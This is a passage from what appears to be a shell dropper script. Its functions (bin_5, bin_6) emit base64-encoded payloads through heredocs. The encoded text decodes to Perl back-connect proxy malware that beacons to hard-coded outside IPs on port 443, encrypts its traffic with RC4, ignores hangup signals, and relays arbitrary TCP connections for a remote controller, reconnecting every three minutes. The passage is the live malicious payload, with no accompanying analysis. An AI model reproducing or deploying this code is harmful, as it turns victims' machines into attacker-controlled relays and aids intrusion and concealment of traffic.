NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_5() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjQnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_6() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjUnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg 